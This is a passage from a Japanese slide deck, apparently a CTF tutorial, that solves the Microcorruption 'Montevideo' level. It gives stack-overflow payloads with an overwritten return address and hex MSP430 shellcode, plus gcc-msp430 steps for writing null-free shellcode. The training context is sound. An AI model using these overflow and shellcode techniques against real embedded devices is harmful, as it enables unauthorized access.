mov #0xfffe, r15 1f53 inc r15 024f mov r15, r2 b012 1000 call #0x0010 •最後にヌルバイトがあるので、 シェルコードを最後にする必要がある ゴミ(AAAAAA・・・) 戻り値 改ざん シェルコード
92.
Montevideoの答え
93.
Montevideoの答え1 •ゴミデータ: A *
16 •戻り値改ざん:0x4402 (4400にヌルあるため) •シェルコード(SC):3f40fffe1f53024fb0121000 •ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC •PW: 41414141414141414141414141414141 024442423f40fffe1f53024fb0121000
94.
Montevideoの 他の解き⽅
95.
ヌルの無いシェルコード作成(上級) •Kali/DebianからgccのMSP430プラグインをインストール必要がある •デフォルトのレポジトリに⼊っていないので⼀時的にdebian repoを追加 •leafpad /etc/apt/sources.listで以下の追加/保存: deb
http://deb.debian.org/debian stretch main deb-src http://deb.debian.org/debian stretch main •apt-get update •apt-get install gcc-msp430 gdb-msp430 •debianレポジトリを削除: leafpad /etc/apt/sources.list で上記のrepoを削除 rm /etc/apt/sources.list.d/nodesource.list (なぜかこれが作成されるので削除)
96.
ヌルの無いシェルコード作成(上級) • leafpad msp430-shellcode.cで以下のようなシェルコードを作成 main()
{ asm( "mov #0xf010, r4n” //r4 = 0xf010 (1111 0000 0001 0000) "and #0x0fff, r4n” // & 0x0fff (0000 1111 1111 1111) // r4 = (0000 0000 0001 0000) (= 0x10, 16) "mov #0xff01, r2n” // r2 (SR) = 0xff01 "dec r2n” // r2 (SR) = 0xff00 "call r4n” // Call 0x10 ); } •msp430-gcc -O0 -mmcu=msp430g2553 ./msp430-shellcode.c -o msp430-shellcode
97.
ヌルの無いシェルコード作成(上級) • msp430-objdump -d
./msp430-shellcode(でdisassemble) • msp430-gdb ./msp430-shellcode(でも同じようにできる) (gdb) disas /r main
98.
ヌルの無いシェルコード作成(上級) • なんと!こんなめんどくさいことをやらなくても、 サイトにMSP430アセンブラあったわ! • https://microcorruption.com/assembler
99.
Montevideoの答え(2) •ゴミデータ: A *
16 •戻り値改ざん:0x4402 (4400にヌルあるため) •シェルコード(SC):344010f034f0ff0f324001ff12838412 •ゴミ(16B)+ 戻り値改ざん + ゴミ(2B)+ SC •PW: 41414141414141414141414141414141 02444242344010f034f0ff0f324001ff12838412 •ヌル無いけど、SCが12バイトから16バイトに増えた!
100.
Montevideoの答え(3) •ゴミデータ: A *
16 •戻り値改ざん:0x4460 (Call <INT>) •シェルコード(とは⾔えないけど):7f (1バイト!) •PW: 41414141414141414141414141414141 60447f •Call <INT>したらSPが0x7fになるので、 ロックが解除される
101.
9. Santa Cruz
(50点) •長過ぎるパスワードを 拒否する •HSM-1に接続している •ユーザ名も必要!
102.
•もう資料作成疲れた∼ •皆さん、できる所まで頑張って楽しんで下さいね! •(ネットの何処かに英語のwrite upがあるので、 限界まで来たらそれをご参考に∼) •最後までできたら、結構強くなるはず!
Baixar agora